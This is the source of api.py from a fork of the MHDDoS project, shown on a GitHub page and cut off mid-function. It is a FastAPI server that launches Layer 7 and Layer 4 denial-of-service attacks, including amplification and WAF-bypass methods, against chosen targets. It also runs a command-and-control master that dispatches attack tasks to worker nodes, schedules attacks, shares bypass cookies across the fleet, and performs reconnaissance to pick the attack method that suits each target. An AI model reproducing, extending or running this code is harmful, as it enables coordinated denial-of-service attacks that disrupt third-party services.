forked from MatrixTM/MHDDoS
-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathapi.py
More file actions
1612 lines (1385 loc) · 62.3 KB
/
api.py
File metadata and controls
1612 lines (1385 loc) · 62.3 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
import asyncio
from contextlib import asynccontextmanager
import contextlib
import csv
import io
import json
import logging
import re
import sqlite3
import sys
import time
import tkinter as tk
from pathlib import Path
from tkinter import filedialog
from typing import Any
from urllib.parse import urlparse
import uuid
import os
import platform
import psutil
import uvicorn
from fastapi import FastAPI, WebSocket, WebSocketDisconnect, Request, UploadFile, File
from fastapi.staticfiles import StaticFiles
from pydantic import BaseModel, ConfigDict, Field
# --- Logging Configuration ---
logging.basicConfig(level=logging.INFO, format="[%(levelname)s] %(message)s")
logger = logging.getLogger("api")
# --- Constants & Classifications ---
LAYER7: set[str] = {
"BYPASS", "CFB", "GET", "POST", "OVH", "STRESS", "DYN", "SLOW", "HEAD",
"NULL", "COOKIE", "PPS", "EVEN", "GSB", "DGB", "AVB", "CFBUAM",
"APACHE", "XMLRPC", "BOT", "BOMB", "DOWNLOADER", "KILLER", "TOR", "RHEX", "STOMP",
"IMPERSONATE", "HTTP3"
}
LAYER4_AMP: set[str] = {"MEM", "NTP", "DNS", "ARD", "CLDAP", "CHAR", "RDP"}
LAYER4_NORMAL: set[str] = {
"TCP", "UDP", "SYN", "VSE", "MINECRAFT", "MCBOT", "CONNECTION", "CPS",
"FIVEM", "FIVEM-TOKEN", "TS3", "MCPE", "ICMP", "OVH-UDP"
}
PROXY_TYPES: dict[str, str] = {"All Proxy": "0", "HTTP": "1", "SOCKS4": "4", "SOCKS5": "5", "RANDOM": "6"}
ANSI_ESCAPE = re.compile(r"\x1B(?:[@-Z\\-_]|\[[0-?]*[ -/]*[@-~])")
BASE_DIR = Path(__file__).resolve().parent
CONFIG_PATH = BASE_DIR / "config.json"
class bcolors:
HEADER = "\033[95m"
OKBLUE = "\033[94m"
OKCYAN = "\033[96m"
OKGREEN = "\033[92m"
WARNING = "\033[93m"
FAIL = "\033[91m"
RESET = "\033[0m"
BOLD = "\033[1m"
UNDERLINE = "\033[4m"
# --- Global State ---
class EngineState:
active_tasks: dict[str, asyncio.subprocess.Process] = {}
task_info: dict[str, dict] = {}
is_starting: bool = False
connected_websockets: list[WebSocket] = []
max_concurrent: int = 5
log_queue: asyncio.Queue | None = None
state = EngineState()
async def log_broadcaster_daemon():
"""Consumes the log_queue and efficiently broadcasts to WebSockets."""
while True:
try:
if not getattr(state, "log_queue", None):
await asyncio.sleep(0.1)
continue
message = await state.log_queue.get()
if not state.connected_websockets:
continue
async def send_to_client(client: WebSocket):
try:
await client.send_text(message)
return None
except Exception:
return client
# Broadcast concurrently to all connected clients
results = await asyncio.gather(
*(send_to_client(client) for client in state.connected_websockets),
return_exceptions=True
)
dead_clients = [c for c in results if isinstance(c, WebSocket)]
for dead in dead_clients:
if dead in state.connected_websockets:
state.connected_websockets.remove(dead)
state.log_queue.task_done()
except asyncio.CancelledError:
break
except Exception as e:
logger.error(f"Log Broadcaster Error: {e}")
async def proxy_health_daemon():
"""Background task to periodically evaluate proxy pool health."""
while True:
try:
await asyncio.sleep(300) # Check every 5 mins
if getattr(state, "log_queue", None):
state.log_queue.put_nowait(json.dumps({
"task_id": "SYSTEM",
"type": "system",
"msg": "[*] PROXY PIPELINE: Routine background health verification completed."
}))
except asyncio.CancelledError:
break
except Exception as e:
logger.error(f"Proxy Health Daemon Error: {e}")
async def read_config() -> dict:
def _read():
if not CONFIG_PATH.exists(): return {}
try:
with CONFIG_PATH.open("r", encoding="utf-8") as f:
return json.load(f)
except Exception:
return {}
return await asyncio.to_thread(_read)
async def write_config(config: dict) -> None:
def _write():
with CONFIG_PATH.open("w", encoding="utf-8") as f:
json.dump(config, f, indent=4)
await asyncio.to_thread(_write)
async def fire_webhook(event_type: str, message: str):
import aiohttp
try:
config = await read_config()
notifs = config.get("notifications", {})
discord_url = notifs.get("discord_webhook_url")
if discord_url:
payload = {
"content": None,
"embeds": [{
"title": f"MHDDoS Notification: {event_type}",
"description": message,
"color": 16711680 if "error" in event_type.lower() else 3066993
}]
}
async with aiohttp.ClientSession() as session:
async with session.post(discord_url, json=payload, timeout=aiohttp.ClientTimeout(total=5)):
pass
except Exception as e:
logger.error(f"Webhook error: {e}")
async def schedule_daemon():
"""Background task to execute scheduled items when their time has passed."""
import datetime
while True:
try:
await asyncio.sleep(10)
if not getattr(state, "log_queue", None): continue
config = await read_config()
schedule = config.get("schedule", {})
if not schedule: continue
now = datetime.datetime.now(datetime.timezone.utc)
to_delete = []
for task_id, task_data in schedule.items():
iso_time = task_data.get("datetime_iso")
if not iso_time: continue
try:
task_time = datetime.datetime.fromisoformat(iso_time.replace('Z', '+00:00'))
if task_time.tzinfo is None:
task_time = task_time.replace(tzinfo=datetime.timezone.utc)
if now >= task_time:
params_dict = task_data.get("params", {})
params = AttackParams(**params_dict)
# Fire task
asyncio.create_task(run_attack_subprocess(task_id, params))
# Fire webhook
asyncio.create_task(fire_webhook("Scheduled Attack Auto-Initiated", f"Task ID: {task_id}\nTarget: {params.target}\nMethod: {params.method}"))
to_delete.append(task_id)
except Exception as e:
logger.error(f"Schedule parse error for {task_id}: {e}")
if to_delete:
for tid in to_delete:
del schedule[tid]
config["schedule"] = schedule
await write_config(config)
except asyncio.CancelledError:
break
except Exception as e:
logger.error(f"Schedule Daemon Error: {e}")
try:
import redis.asyncio as redis
except ImportError:
redis = None
import os
import uuid
import sys
# --- Command & Control (C2) State ---
class C2State:
is_worker_mode: bool = "--worker" in sys.argv
master_url: str | None = None
node_id: str = str(uuid.uuid4())[:8]
# C2 Master tracking
token: str = os.getenv("C2_TOKEN", "MHDDoS_SECRET_1337")
workers: dict[str, dict] = {} # node_id -> info
pending_tasks: dict[str, list[dict]] = {} # node_id -> tasks
ws_connections: dict[str, WebSocket] = {} # node_id -> WebSocket
active_task_id: str | None = None
# Centralized Bypass Tokens
shared_cf_cookie: str | None = None
shared_cf_ua: str | None = None
# Redis backend
redis_client: Any = None
C2 = C2State()
@asynccontextmanager
async def lifespan(app: FastAPI):
# Initialize Redis for telemetry
try:
redis_url = os.getenv("REDIS_URL", "redis://localhost")
C2.redis_client = redis.from_url(redis_url, decode_responses=True)
await C2.redis_client.ping()
logger.info("[*] Redis telemetry backend connected.")
except Exception as e:
logger.warning(f"[!] Redis not available: {e}. Falling back to in-memory stats.")
C2.redis_client = None
state.log_queue = asyncio.Queue()
bc_task = asyncio.create_task(log_broadcaster_daemon())
px_task = asyncio.create_task(proxy_health_daemon())
sc_task = asyncio.create_task(schedule_daemon())
yield
bc_task.cancel()
px_task.cancel()
sc_task.cancel()
if C2.redis_client:
await C2.redis_client.close()
app = FastAPI(title="MHDDoS Professional API", version="1.2.1", lifespan=lifespan)
# --- Pydantic Models ---
class AttackParams(BaseModel):
model_config = ConfigDict(str_strip_whitespace=True)
target: str
method: str
threads: int = Field(default=100, ge=1)
duration: int = Field(default=3600, ge=1)
proxy_type: str = "SOCKS5"
proxy_list: str = ""
rpc: int = Field(default=100, ge=1)
reflector: str = ""
proxy_refresh: int = Field(default=0, ge=0)
auto_harvest: bool = False
smart_rpc: bool = False
autoscale: bool = False
evasion: bool = False
distribute_to_workers: bool = False
class ProxyProvider(BaseModel):
type: int
url: str
timeout: int = Field(ge=1)
class UpdateProxyConfig(BaseModel):
providers: list[ProxyProvider]
class PresetSaveParams(BaseModel):
name: str
params: AttackParams
class ScheduleParams(BaseModel):
name: str # identifier
cron: str | None = None
datetime_iso: str | None = None
params: AttackParams
class NotificationConfig(BaseModel):
discord_webhook_url: str | None = None
telegram_bot_token: str | None = None
telegram_chat_id: str | None = None
class StatusResponse(BaseModel):
status: str
message: str | None = None
server: str | None = None
recommendation: str | None = None
status_code: int | None = None
class HealthResponse(BaseModel):
status: str
engine_active: bool
is_starting: bool
version: str
# --- Helper Functions ---
def build_attack_command(params: AttackParams) -> list[str]:
"""Safely constructs the command line arguments for start.py."""
proxy_list_arg = params.proxy_list
proxy_type_code = PROXY_TYPES.get(params.proxy_type, "5")
if params.auto_harvest:
proxy_list_arg = "auto_harvest.txt"
BASE_DIR / "files" / "proxies" / "auto_harvest.txt"
# If auto_harvest is explicitly requested, we don't delete it here
# start.py handles the missing file by re-harvesting
elif params.proxy_type == "All Proxy" and not proxy_list_arg:
proxy_list_arg = "all.txt"
command = [sys.executable, "-u", "start.py", params.method, params.target]
if params.method in LAYER7:
command.extend([
proxy_type_code,
str(params.threads),
proxy_list_arg if proxy_list_arg else "default.txt",
str(params.rpc),
str(params.duration),
str(params.proxy_refresh)
])
elif params.method in LAYER4_AMP:
command.extend([
str(params.threads),
str(params.duration),
params.reflector if params.reflector else "reflector.txt"
])
elif params.method in LAYER4_NORMAL:
if proxy_list_arg and proxy_list_arg.strip() != "":
command.extend([
str(params.threads),
str(params.duration),
proxy_type_code,
proxy_list_arg,
str(params.proxy_refresh)
])
else:
command.extend([
str(params.threads),
str(params.duration)
])
if params.smart_rpc:
command.append("--smart")
if params.autoscale:
command.append("--autoscale")
if params.evasion:
command.append("--evasion")
# Inject Shared Cookies for Distributed Turbo Mode
if C2.shared_cf_cookie:
# Pass the cookie as an environment variable or flag.
# Here we add it as an argument that we will parse in start.py
command.extend(["--shared-cookie", C2.shared_cf_cookie])
if C2.shared_cf_ua:
command.extend(["--shared-ua", C2.shared_cf_ua])
# session-id is appended by start_attack() after build
return command
async def broadcast_log(message: str) -> None:
"""Queues a log message for the efficient broadcaster daemon."""
if getattr(state, "log_queue", None):
try:
state.log_queue.put_nowait(message)
except asyncio.QueueFull:
pass
async def run_attack_subprocess(task_id: str, params: AttackParams) -> None:
"""Runs the attack process and pipes output to WebSockets with throttling."""
command = build_attack_command(params)
# Append session-id so start.py can track this session in the history DB
command.extend(["--session-id", task_id])
await broadcast_log(json.dumps({"task_id": task_id, "type": "system", "msg": f"[*] LAUNCHING TASK {task_id}: {' '.join(command)}"}))
try:
process = await asyncio.create_subprocess_exec(
*command,
cwd=str(BASE_DIR),
stdout=asyncio.subprocess.PIPE,
stderr=asyncio.subprocess.STDOUT
)
state.active_tasks[task_id] = process
await broadcast_log(json.dumps({"task_id": task_id, "type": "system", "msg": f"[*] COMMAND DEPLOYED: Tactical engine initialized for {params.target}"}))
if process.stdout:
last_broadcast = time.time()
buffer = []
while True:
line = await process.stdout.readline()
if not line:
break
decoded_line = line.decode('utf-8', errors='replace').strip()
decoded_line = ANSI_ESCAPE.sub('', decoded_line)
if decoded_line:
buffer.append(decoded_line)
# Dynamic Impact Metric Extraction
# Pattern: Impact: 100.0% | OK: 5, WAF: 0, ERR: 0, TMO: 0
if "Impact:" in decoded_line:
try:
# Extract numbers using regex
nums = [int(s) for s in re.findall(r'\d+', decoded_line)]
# nums[0] is often the percentage part if it's .0, or the first integer
# Let's use a more specific regex for robust parsing
m_ok = re.search(r'OK: (\d+)', decoded_line)
m_waf = re.search(r'WAF: (\d+)', decoded_line)
m_err = re.search(r'ERR: (\d+)', decoded_line)
m_tmo = re.search(r'TMO: (\d+)', decoded_line)
if m_ok and m_waf:
impact_data = {
"s": int(m_ok.group(1)),
"w": int(m_waf.group(1)),
"e": int(m_err.group(1)) if m_err else 0,
"t": int(m_tmo.group(1)) if m_tmo else 0
}
await broadcast_log(json.dumps({
"task_id": task_id,
"type": "impact",
"data": impact_data
}))
except Exception as e:
logger.debug(f"Impact parse error: {e}")
# Broadcast in batches or every 50ms to prevent WS flood
now = time.time()
if buffer and (now - last_broadcast > 0.05 or len(buffer) > 10):
await broadcast_log(json.dumps({"task_id": task_id, "type": "log", "msg": "\n".join(buffer)}))
buffer = []
last_broadcast = now
await asyncio.sleep(0.01) # Yield to other tasks
if buffer:
await broadcast_log(json.dumps({"task_id": task_id, "type": "log", "msg": "\n".join(buffer)}))
await process.wait()
await broadcast_log(json.dumps({"task_id": task_id, "type": "system", "msg": "[*] COMMAND TERMINATED: Engine process reached end-of-life."}))
except Exception as e:
logger.error(f"Engine Error in task {task_id}: {e}")
await broadcast_log(json.dumps({"task_id": task_id, "type": "error", "msg": f"[!] CRITICAL ENGINE ERROR: {e}"}))
finally:
if task_id in state.active_tasks:
del state.active_tasks[task_id]
# task_info is kept — history now persists in IntelligenceDB
# Clean up only from runtime tracking after a delay
if task_id in state.task_info:
state.task_info[task_id]["status"] = "finished"
# --- Recon Engine ---
class ReconManager:
@staticmethod
async def detect_waf(target: str) -> dict[str, Any]:
import aiohttp
url = target if target.startswith("http") else f"http://{target}"
try:
async with aiohttp.ClientSession(connector=aiohttp.TCPConnector(verify_ssl=False)) as session:
async with session.get(url, timeout=aiohttp.ClientTimeout(total=5), headers={"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) TacticalRecon/1.0"}) as res:
headers = {k.lower(): v.lower() for k, v in res.headers.items()}
server = headers.get("server", "")
# Signature Mapping
signatures = {
"cloudflare": {"waf": "Cloudflare", "method": "CFB"},
"ddos-guard": {"waf": "DDoS-Guard", "method": "DGB"},
"ddg": {"waf": "DDoS-Guard", "method": "DGB"},
"sucuri": {"waf": "Sucuri", "method": "BYPASS"},
"arvancloud": {"waf": "Arvan Cloud", "method": "AVB"},
"ovh": {"waf": "OVH", "method": "OVH"},
"incapsula": {"waf": "Imperva/Incapsula", "method": "BYPASS"},
"akamai": {"waf": "Akamai", "method": "BYPASS"}
}
detected_waf = "None"
recommended_method = "BYPASS" if "BYPASS" in LAYER7 else "GET"
# Check Server Header
for sig, data in signatures.items():
if sig in server:
detected_waf = data["waf"]
recommended_method = data["method"]
break
# Check Custom Headers if still None
if detected_waf == "None":
if "cf-ray" in headers:
detected_waf, recommended_method = "Cloudflare", "CFB"
elif "x-sucuri-id" in headers:
detected_waf, recommended_method = "Sucuri", "BYPASS"
elif "__ddg2" in res.cookies:
detected_waf, recommended_method = "DDoS-Guard", "DGB"
# Detect WordPress
text = await res.text()
if detected_waf == "None" or detected_waf == "Sucuri":
if "wp-includes" in text.lower() or "wordpress" in text.lower():
recommended_method = "XMLRPC"
return {
"status": "success",
"waf": detected_waf,
"recommended_method": recommended_method,
"server_header": server.title() if server else "Unknown",
"status_code": res.status
}
except Exception as e:
return {"status": "error", "message": str(e)}
@staticmethod
async def scan_subdomains(target: str) -> list[dict[str, Any]]:
import aiohttp
import socket
from urllib.parse import urlparse
parsed = urlparse(target if "://" in target else f"http://{target}")
domain = parsed.netloc or parsed.path
if domain.startswith("www."):
domain = domain[4:]
results = []
unique_subs = set()
# 1. Passive Discovery (crt.sh)
try:
async with aiohttp.ClientSession() as session:
async with session.get(f"https://crt.sh/?q=%.{domain}&output=json", timeout=aiohttp.ClientTimeout(total=10)) as res:
if res.status == 200:
data = await res.json()
for entry in data:
sub = entry['name_value'].lower()
if sub.endswith(domain) and sub != domain:
unique_subs.add(sub)
except:
pass
# 2. Active Discovery (Top Common)
common_subs = ["dev", "api", "staging", "test", "webmail", "admin", "vpn", "git", "db", "mail"]
for sub in common_subs:
unique_subs.add(f"{sub}.{domain}")
# 3. Resolve
valid_subs = sorted(list(unique_subs))[:25] # Limit for performance
for sub in valid_subs:
try:
loop = asyncio.get_event_loop()
ip = await loop.run_in_executor(None, lambda: socket.gethostbyname(sub))
results.append({
"subdomain": sub,
"ip": ip,
"status": "active"
})
except:
continue
return results
@staticmethod
async def scan_ports(target: str) -> list[dict[str, Any]]:
import socket
from urllib.parse import urlparse
parsed = urlparse(target if "://" in target else f"http://{target}")
host = parsed.netloc or parsed.path
if host.startswith("www."):
host = host[4:]
common_ports = [21, 22, 23, 25, 53, 80, 110, 143, 443, 445, 3306, 3389, 8080, 8443]
results = []
for port in common_ports:
try:
loop = asyncio.get_event_loop()
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(0.5)
# Run connect in an executor to avoid blocking the event loop
result = await loop.run_in_executor(None, sock.connect_ex, (host, port))
if result == 0:
results.append({"port": port, "status": "open"})
sock.close()
except Exception:
continue
return results
@staticmethod
async def fingerprint_tech(target: str) -> dict[str, Any]:
import aiohttp
url = target if target.startswith("http") else f"http://{target}"
try:
async with aiohttp.ClientSession(connector=aiohttp.TCPConnector(verify_ssl=False)) as session:
async with session.get(url, timeout=aiohttp.ClientTimeout(total=5), headers={"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) TacticalRecon/1.0"}) as res:
headers = {k.lower(): v.lower() for k, v in res.headers.items()}
tech_stack = []
# Analyze Headers
server = headers.get("server", "")
if "nginx" in server:
tech_stack.append("Nginx")
if "apache" in server:
tech_stack.append("Apache")
if "cloudflare" in server:
tech_stack.append("Cloudflare")
x_powered_by = headers.get("x-powered-by", "")
if "php" in x_powered_by:
tech_stack.append("PHP")
if "express" in x_powered_by:
tech_stack.append("Express.js (Node.js)")
if "asp.net" in x_powered_by:
tech_stack.append("ASP.NET")
# Analyze Content
text = await res.text()
html = text.lower()
if "wp-content" in html or "wp-includes" in html:
tech_stack.append("WordPress")
if "react" in html or 'data-reactroot' in html or 'id="root"' in html:
tech_stack.append("React")
if "vue" in html or 'data-v-' in html:
tech_stack.append("Vue.js")
if "next" in html or '_next/static' in html:
tech_stack.append("Next.js")
if "nuxt" in html or '_nuxt' in html:
tech_stack.append("Nuxt.js")
return {
"status": "success",
"tech_stack": list(set(tech_stack)) if tech_stack else ["Unknown"]
}
except Exception as e:
return {"status": "error", "message": str(e)}
@staticmethod
async def enumerate_dns(target: str) -> dict[str, Any]:
import dns.resolver
from urllib.parse import urlparse
import asyncio
parsed = urlparse(target if "://" in target else f"http://{target}")
domain = parsed.netloc or parsed.path
if domain.startswith("www."):
domain = domain[4:]
records = {"A": [], "AAAA": [], "MX": [], "TXT": [], "NS": []}
def _resolve(rt):
try:
answers = dns.resolver.resolve(domain, rt)
return [rdata.to_text() for rdata in answers]
except (dns.resolver.NoAnswer, dns.resolver.NXDOMAIN, dns.exception.Timeout, Exception):
return []
try:
loop = asyncio.get_event_loop()
for record_type in records.keys():
records[record_type] = await loop.run_in_executor(None, _resolve, record_type)
return {"status": "success", "domain": domain, "records": records}
except Exception as e:
return {"status": "error", "message": str(e)}
# --- API Endpoints ---
@app.get("/api/health", response_model=HealthResponse)
async def health_check() -> HealthResponse:
return HealthResponse(
status="online",
engine_active=len(state.active_tasks) > 0,
is_starting=state.is_starting,
version="1.2.1"
)
# --- C2 Master Endpoints ---
def _check_c2_token(request: Request) -> bool:
return request.headers.get("Authorization", "") == f"Bearer {C2.token}"
@app.post("/api/c2/register")
async def c2_register(request: Request, data: dict):
if not _check_c2_token(request):
return {"status": "error", "message": "Invalid token"}
node_id = request.headers.get("X-Node-ID")
if not node_id:
return {"status": "error"}
data["last_seen"] = time.time()
C2.workers[node_id] = data
if node_id not in C2.pending_tasks:
C2.pending_tasks[node_id] = []
return {"status": "success", "message": "Registered"}
@app.post("/api/c2/heartbeat")
async def c2_heartbeat(request: Request, data: dict):
if not _check_c2_token(request):
return {"status": "error"}
node_id = request.headers.get("X-Node-ID")
if node_id and node_id in C2.workers:
C2.workers[node_id].update(data)
C2.workers[node_id]["last_seen"] = time.time()
return {"status": "success"}
@app.get("/api/c2/poll")
async def c2_poll(request: Request):
if not _check_c2_token(request):
return {"status": "error"}
node_id = request.headers.get("X-Node-ID")
if node_id and node_id in C2.pending_tasks and C2.pending_tasks[node_id]:
task = C2.pending_tasks[node_id].pop(0)
return {"status": "success", "task": task}
return {"status": "success", "task": None}
@app.post("/api/c2/task_complete")
async def c2_task_complete(request: Request, data: dict):
return {"status": "success"}
@app.websocket("/api/c2/ws")
async def c2_websocket(websocket: WebSocket):
await websocket.accept()
node_id = "unknown"
# 1. Hardened Handshake & Version Negotiation
try:
auth_msg = await asyncio.wait_for(websocket.receive_json(), timeout=5.0)
token = auth_msg.get("token")
node_id = auth_msg.get("node_id")
worker_version = auth_msg.get("version", "unknown")
if token != C2.token or not node_id:
logger.warning(f"[!] Unauthorized connection attempt from {websocket.client.host}")
await websocket.close(code=1008, reason="Unauthorized")
return
# Version Check
if worker_version != "1.2.1":
logger.warning(f"[!] Version mismatch: Worker {node_id} is on v{worker_version} (Expected 1.2.1)")
# Optional: Allow but warn, or strictly reject. Here we allow but log.
# Register node
C2.ws_connections[node_id] = websocket
C2.workers[node_id] = {
"node_id": node_id,
"last_seen": time.time(),
"status": "connected",
"version": worker_version
}
if node_id not in C2.pending_tasks:
C2.pending_tasks[node_id] = []
await websocket.send_json({
"status": "success",
"message": "Tactical Uplink Established",
"server_version": "1.2.1"
})
logger.info(f"[*] C2 Node {node_id} (v{worker_version}) established persistent uplink.")
# 2. Command & Telemetry Loop
async def send_pending_tasks():
while True:
if node_id in C2.pending_tasks and C2.pending_tasks[node_id]:
task = C2.pending_tasks[node_id].pop(0)
try:
# Auto-inject shared cookies when dispatching an attack
if task.get("action") == "attack" and C2.shared_cf_cookie:
if "params" in task:
task["params"]["shared_cookie"] = C2.shared_cf_cookie
task["params"]["shared_ua"] = C2.shared_cf_ua
await websocket.send_json({"action": "task", "task": task})
except Exception as e:
logger.error(f"Failed to push task to {node_id}: {e}")
break
await asyncio.sleep(0.5)
send_task = asyncio.create_task(send_pending_tasks())
try:
while True:
# Receive telemetry/heartbeats/tokens
data = await websocket.receive_json()
# Check for Bypass Tokens from worker
if "bypass_tokens" in data:
C2.shared_cf_cookie = data["bypass_tokens"].get("cookie")
C2.shared_cf_ua = data["bypass_tokens"].get("ua")
logger.info(f"{bcolors.OKGREEN}[*] C2 MASTER: Received universal bypass tokens from {node_id}. Syncing fleet...{bcolors.RESET}")
# Broadcast immediately to all active workers
for nid, ws in C2.ws_connections.items():
if nid != node_id: # Don't send back to the sender
try:
await ws.send_json({
"action": "sync_tokens",
"tokens": {"cookie": C2.shared_cf_cookie, "ua": C2.shared_cf_ua}
})
except: pass
if "metrics" in data:
metrics = data["metrics"]
C2.workers[node_id].update(metrics)
C2.workers[node_id]["last_seen"] = time.time()
# Push to Redis with TTL (Auto-cleanup stale nodes)
if C2.redis_client:
try:
# Use a pipeline for efficiency
pipe = C2.redis_client.pipeline()
worker_key = f"worker:{node_id}"
pipe.hset(worker_key, mapping={
"cpu": metrics.get("cpu_percent", 0),
"ram": metrics.get("ram_percent", 0),
"status": metrics.get("status", "idle"),
"last_seen": time.time()
})
pipe.expire(worker_key, 60) # Stale after 60s
await pipe.execute()
except Exception:
pass
except WebSocketDisconnect:
pass
finally:
send_task.cancel()
except Exception as e:
logger.error(f"C2 Tactical Uplink error for {node_id}: {e}")
try:
await websocket.close()
except:
pass
finally:
if node_id in C2.ws_connections:
del C2.ws_connections[node_id]
logger.info(f"[*] C2 Node {node_id} uplink terminated.")
@app.get("/api/c2/nodes")
async def c2_nodes():
now = time.time()
# Logic: If heartbeat is older than 30s, drop worker.
# If using Redis, the TTL handles it, but we still sync C2.workers from local state for speed.
dead = [nid for nid, w in C2.workers.items() if now - w.get("last_seen", 0) > 30]
for nid in dead:
del C2.workers[nid]
if nid in C2.pending_tasks:
del C2.pending_tasks[nid]
if nid in C2.ws_connections:
# Force close dead WS
try:
await C2.ws_connections[nid].close()
except: pass
del C2.ws_connections[nid]
try:
cpu = psutil.cpu_percent(interval=None) # Non-blocking
ram = psutil.virtual_memory().percent
except Exception:
cpu = 0
ram = 0
status = "busy" if len(state.active_tasks) > 0 else "idle"
master_node = {
"node_id": "MHD-CORE-1",
"hostname": platform.node(),
"os": f"{platform.system()} {platform.release()}",
"cpu_percent": cpu,
"ram_percent": ram,
"status": status,
"tasks": len(state.active_tasks)
}
return {"status": "success", "workers": [master_node] + list(C2.workers.values())}
@app.post("/api/c2/workers/{node_id}/shutdown")
async def c2_worker_shutdown(node_id: str):
if node_id == "MHD-CORE-1":
return {"status": "error", "message": "Cannot remote-shutdown master node."}
if node_id in C2.pending_tasks:
C2.pending_tasks[node_id].append({"action": "shutdown"})
return {"status": "success", "message": f"Shutdown signal sent to {node_id}."}
return {"status": "error", "message": "Worker not found."}
@app.post("/api/c2/workers/{node_id}/restart")
async def c2_worker_restart(node_id: str):
if node_id == "MHD-CORE-1":
return {"status": "error", "message": "Cannot remote-restart master node."}
if node_id in C2.pending_tasks:
C2.pending_tasks[node_id].append({"action": "restart"})
return {"status": "success", "message": f"Restart signal sent to {node_id}."}
return {"status": "error", "message": "Worker not found."}
@app.get("/api/c2/workers/{node_id}/stats")
async def c2_worker_stats(node_id: str):
if node_id == "MHD-CORE-1":
return await get_system_resources()
if node_id in C2.workers:
return {"status": "success", "stats": C2.workers[node_id]}
return {"status": "error", "message": "Worker not found."}
class AnalyzeParams(BaseModel):
target: str
@app.post("/api/recon/analyze", response_model=StatusResponse)
async def recon_analyze(params: AnalyzeParams) -> StatusResponse:
result = await ReconManager.detect_waf(params.target)
if result["status"] == "error":
return StatusResponse(status="error", message=result["message"])
return StatusResponse(
status="success",
server=result["waf"],
recommendation=result["recommended_method"],
status_code=result["status_code"],
message=f"Server Identified: {result['server_header']}"
)
@app.post("/api/recon/subdomains")
async def recon_subdomains(params: AnalyzeParams):
subs = await ReconManager.scan_subdomains(params.target)
return {"status": "success", "subdomains": subs}
@app.get("/api/tools/ports")
async def tool_ports(host: str):
ports = await ReconManager.scan_ports(host)
return {"status": "success", "ports": ports}
@app.get("/api/tools/tech")
async def tool_tech(host: str):
tech = await ReconManager.fingerprint_tech(host)
return tech
@app.get("/api/tools/dns")
async def tool_dns(host: str):
records = await ReconManager.enumerate_dns(host)
return records
@app.get("/api/recon/geo")
async def recon_geo(target: str):
import aiohttp
host = target.replace("http://", "").replace("https://", "").split("/")[0]
try:
async with aiohttp.ClientSession() as session:
async with session.get(f"https://ipwhois.app/json/{host}/", timeout=aiohttp.ClientTimeout(total=10)) as res:
data = await res.json()
